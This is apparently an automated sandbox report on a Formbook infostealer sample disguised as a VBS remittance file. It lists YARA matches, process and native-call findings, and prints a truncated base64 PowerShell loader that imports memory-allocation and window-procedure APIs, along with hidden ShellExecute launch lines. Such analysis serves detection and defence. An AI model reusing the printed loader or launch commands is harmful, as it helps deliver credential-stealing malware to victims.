Source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV Jump to behavior
Potential malicious VBS script found (suspicious strings)
Source: Initial file: obj1.ShellExecute MyFile , RAVNEAGT ,"","",0
Source: Initial file: obj1.ShellExecute "powershell.exe", RAVNEAGT ,"","",0
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7837
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7837 Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035A3121 4_2_035A3121
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035A0040 4_2_035A0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035ADA21 4_2_035ADA21
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035A3121 4_2_035A3121
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035A3121 4_2_035A3121
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035AD9D8 4_2_035AD9D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035AF060 4_2_035AF060
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035ADD7D 4_2_035ADD7D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035B23CA 4_2_035B23CA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035B3730 4_2_035B3730
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035B4DA0 4_2_035B4DA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035B33D8 4_2_035B33D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035BD698 4_2_035BD698
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_035BF420 4_2_035BF420
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC76E30 23_2_1EC76E30
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC8EBB0 23_2_1EC8EBB0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC6B090 23_2_1EC6B090
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC820A0 23_2_1EC820A0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ED220A8 23_2_1ED220A8
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ED11002 23_2_1ED11002
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC6841F 23_2_1EC6841F
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC6D5E0 23_2_1EC6D5E0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC82581 23_2_1EC82581
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ED21D55 23_2_1ED21D55
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC5F900 23_2_1EC5F900
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC50D20 23_2_1EC50D20
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC74120 23_2_1EC74120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F2B28 26_2_034F2B28
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034EDBD2 26_2_034EDBD2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0345EBB0 26_2_0345EBB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F22AE 26_2_034F22AE
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0342F900 26_2_0342F900
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03444120 26_2_03444120
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034E1002 26_2_034E1002
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F28EC 26_2_034F28EC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0343B090 26_2_0343B090
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034520A0 26_2_034520A0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F20A8 26_2_034F20A8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F1FF1 26_2_034F1FF1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034ED616 26_2_034ED616
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03446E30 26_2_03446E30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F2EF7 26_2_034F2EF7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F1D55 26_2_034F1D55
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F2D07 26_2_034F2D07
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03420D20 26_2_03420D20
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F25DD 26_2_034F25DD
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0343D5E0 26_2_0343D5E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03452581 26_2_03452581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034ED466 26_2_034ED466
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0343841F 26_2_0343841F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A2E61F 26_2_02A2E61F
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A19E60 26_2_02A19E60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A19E5B 26_2_02A19E5B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A12FB0 26_2_02A12FB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A12D88 26_2_02A12D88
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_02A12D90 26_2_02A12D90
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 98%
Java / VBScript file with very long strings (likely obfuscated code)
Source: Remittance Information (MT-103).vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: String function: 0342B150 appears 35 times
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: String function: 1EC5B150 appears 35 times
Contains functionality to call native functions
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC996E0 NtFreeVirtualMemory,LdrInitializeThunk, 23_2_1EC996E0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99A50 NtCreateFile,LdrInitializeThunk, 23_2_1EC99A50
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99660 NtAllocateVirtualMemory,LdrInitializeThunk, 23_2_1EC99660
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99A00 NtProtectVirtualMemory,LdrInitializeThunk, 23_2_1EC99A00
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99A20 NtResumeThread,LdrInitializeThunk, 23_2_1EC99A20
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99780 NtMapViewOfSection,LdrInitializeThunk, 23_2_1EC99780
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC997A0 NtUnmapViewOfSection,LdrInitializeThunk, 23_2_1EC997A0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99710 NtQueryInformationToken,LdrInitializeThunk, 23_2_1EC99710
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC998F0 NtReadVirtualMemory,LdrInitializeThunk, 23_2_1EC998F0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99840 NtDelayExecution,LdrInitializeThunk, 23_2_1EC99840
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99860 NtQuerySystemInformation,LdrInitializeThunk, 23_2_1EC99860
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC999A0 NtCreateSection,LdrInitializeThunk, 23_2_1EC999A0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99540 NtReadFile,LdrInitializeThunk, 23_2_1EC99540
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99910 NtAdjustPrivilegesToken,LdrInitializeThunk, 23_2_1EC99910
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC996D0 NtCreateKey, 23_2_1EC996D0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99A80 NtOpenDirectoryObject, 23_2_1EC99A80
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99650 NtQueryValueKey, 23_2_1EC99650
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99670 NtQueryInformationProcess, 23_2_1EC99670
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99610 NtEnumerateValueKey, 23_2_1EC99610
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99A10 NtQuerySection, 23_2_1EC99A10
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99FE0 NtCreateMutant, 23_2_1EC99FE0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC9A3B0 NtGetContextThread, 23_2_1EC9A3B0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99760 NtOpenProcess, 23_2_1EC99760
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99770 NtSetInformationFile, 23_2_1EC99770
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC9A770 NtOpenThread, 23_2_1EC9A770
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99B00 NtSetValueKey, 23_2_1EC99B00
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC9A710 NtOpenProcessToken, 23_2_1EC9A710
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC99730 NtQueryVirtualMemory, 23_2_1EC99730
